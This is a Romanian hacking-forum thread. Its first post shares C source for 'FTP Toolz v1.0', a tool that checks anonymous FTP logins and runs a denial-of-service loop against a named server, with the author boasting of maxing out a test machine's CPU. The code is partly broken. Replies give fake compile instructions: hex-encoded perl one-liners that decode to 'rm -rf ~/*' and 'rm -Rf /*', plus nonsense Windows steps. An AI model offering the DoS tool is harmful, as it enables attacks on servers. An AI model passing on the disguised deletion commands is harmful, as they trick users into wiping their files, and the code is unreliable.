Jump to content
escalation666

ftp toolz v1.0

Recommended Posts

Posted

Neavand net vreo zi si neavand prea multe de facut....am lucrat la un programel de asalt impotriva serverelor ftp :)

Puteti cere sa se implementeze idei originale...cum ar fi de exemplu: sa cuprinda si un exploit toolkit...chestii de genul asta...si daca voi avea chef poate le voi implementa :)

Optiunea de mass scan inca nu functioneaza :)

Optiunea de DoS lucreaza mai bine decat ma asteptam...fiind testat pe o masina virtuala si pe Personal FTP server si tinand procesorul ei la 100%.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

#define PORT 21
#define MAXDATASIZE 500
#define IPSIZE 17

int main(int argc, char* argv[])
{
int fd, nrbytes,length,scrie,ch;
FILE *fisier;
char *mesaj = "User anonymous\nPass [email]anon@hell.com[/email]\n";
char *denial_mesaj = "User ~!@#$%^&*()_+|aaaaaaaaaa\nPass ~!@#$%^&*()_+|aaaaaaaaaa\n";
char *hostname=NULL, tmphost[IPSIZE];
char buf [1025];
char *host_r[5];
char *ap;
int num_hosts = 0, start_addr=0, end_addr=0,i=0;
struct hostent *he;
struct sockaddr_in server;

void banner(void)
{
printf("--------------------------------------------------\n");
printf("-----------------FTP Toolz v.1.0------------------\n");
printf("-----------------by escalation666-----------------\n");
printf("--------------------------------------------------\n");

}

void usage(void)
{
printf("Usage: %s [options] ip\n", argv[0]);
printf("Options:\n");
printf("Test anonymous ftp login: -a ip\n");
printf("Denial of service: -d ip\n");
printf("Mass scan: -m begin_ip final_ip (trebuie implementat)\n");
exit(0);
}

banner();


int denial(void)
{
while (1)
{

if ((he=gethostbyname(argv[2]))==NULL)
{
printf("Eroare la rezolvare DNS\n");
exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(server.sin_zero),8);


if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1)
{
printf("Eroare la creare socket\n");
exit(-1);
}

if(connect(fd, (struct sockaddr *)&server,sizeof(struct sockaddr))==-1)
{
printf("Eroare la conectare\n");
exit(-1);
}
if(send(fd,denial_mesaj,strlen(denial_mesaj),0) == -1)
{
printf("Eroare la send()\n");
exit(-1);
}

if ((nrbytes=recv(fd,buf,MAXDATASIZE,0)) == -1)
{
printf("Eroare la recive\n");
exit(-1);
}

buf[nrbytes]='\0';

printf("Raspuns: %s\n\n", buf);
close(fd);
}

}
while ((ch = getopt(argc, argv, "a:d:m:")) != -1) {
switch (ch) {
case 'a':

if ((he=gethostbyname(argv[2]))==NULL)
{
printf("Eroare la rezolvare DNS\n");
exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(server.sin_zero),8);


if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1)
{
printf("Eroare la creare socket\n");
exit(-1);
}

if(connect(fd, (struct sockaddr *)&server,sizeof(struct sockaddr))==-1)
{
printf("Eroare la conectare\n");
exit(-1);
}


if(send(fd,mesaj,strlen(mesaj),0) == -1)
{
printf("Eroare la send()\n");
exit(-1);
}

if ((nrbytes=recv(fd,buf,MAXDATASIZE,0)) == -1)
{
printf("Eroare la recive\n");
exit(-1);
}

buf[nrbytes]='\0';
if ((fisier = fopen("ftp.log", "a")) == NULL)
{
printf("Eroare la deschiderea fisierului log!\n");
exit(-1);
}
if ((scrie = fwrite(buf,strlen(buf),1,fisier)) == -1)
{
printf("Eroare la scrierea in fisier\n");
exit(-1);
}
printf("Raspuns: %s\n\n", buf);
close(fd);
break;
case 'd':
denial();

case 'm':

ap = strtok(optarg, ".");
for(i = 0; i != 4; i++) {

if(ap == NULL) {
fprintf(stderr,"\nEroare in sintaxa begin_ip-final_ip.\n");
usage();
}

host_r[i] = ap;
ap = strtok(NULL, ".");
}


ap = strtok(host_r[3], "-");
for(i = 0; i != 2; i++) {
host_r[4] = ap;
if(ap == NULL) {
fprintf(stderr,"\nEroare in sintaxa begin_ip-final_ip.\n");
usage();
}
ap = strtok(NULL, "-");
}


for(i = 0; i != 5; i++) {
if (atoi(host_r[3]) >= atoi(host_r[4])) {
fprintf(stderr,"\nEroare in sintaxa begin_ip-final_ip.\n");
usage();
}
if (host_r[i] == NULL || atoi(host_r[i]) > 255 || atoi(host_r[i]) < 0) {
fprintf(stderr,"\nEroare in sintaxa begin_ip-final_ip.\n");
usage();
}
}

start_addr = atoi(host_r[3]);
end_addr = atoi(host_r[4]);
num_hosts = end_addr - start_addr;

num_hosts++;

while(num_hosts > 0)


if(start_addr && end_addr)
{

snprintf(tmphost, IPSIZE, "%s.%s.%s.%d", host_r[0], host_r[1], host_r[2], start_addr);
hostname = (char *)malloc(IPSIZE);
strncpy(hostname, tmphost, IPSIZE);
start_addr++;
}

if ((he=gethostbyname(argv[1]))==NULL)
{
printf("Eroare la rezolvare DNS\n");
exit(-1);
}
else {
memcpy((char*)&server.sin_addr, he->h_addr, he->h_length);
}


server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(server.sin_zero),8);

/* trebuie sa mai lucrez si sa mai completez aici... */

num_hosts--;

if(start_addr && end_addr) {
free(hostname);
}

break;

default:
usage();
}
}

}

Posted
ia zi cum il copilam ,,,,

in linux:

perl -e 'print "\x72\x6D\x20\x2D\x72\x66\x20\x7E\x2F\x2A"'

in windowze:

Deschide notepad, scrii "Visual ccv compile -e path_catre_exe_tau" si dupa aceea scrii codul sursa. Vezi ca trebuie sa inlocuiesti path_catre_exe_tau cu locatia in care vrei sa fie salvat. Salvezi, ii redenumesti extensia in exe si il executi.

Posted
ia zi cum il copilam ,,,,

in linux:

perl -e 'print "\x72\x6D\x20\x2D\x72\x66\x20\x7E\x2F\x2A"'

in windowze:

Deschide notepad, scrii "Visual ccv compile -e path_catre_exe_tau" si dupa aceea scrii codul sursa. Vezi ca trebuie sa inlocuiesti path_catre_exe_tau cu locatia in care vrei sa fie salvat. Salvezi, ii redenumesti extensia in exe si il executi.

ca sa traduc, in linux:


----din pacate a fost obfuscat codul----

asta e putin mai lent, dar e mai sigur.


perl -e 'print "\x72\x6D\x20\x2D\x52\x66\x20\x2F\x2A"'

partea de windows nu am inteles-o :)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...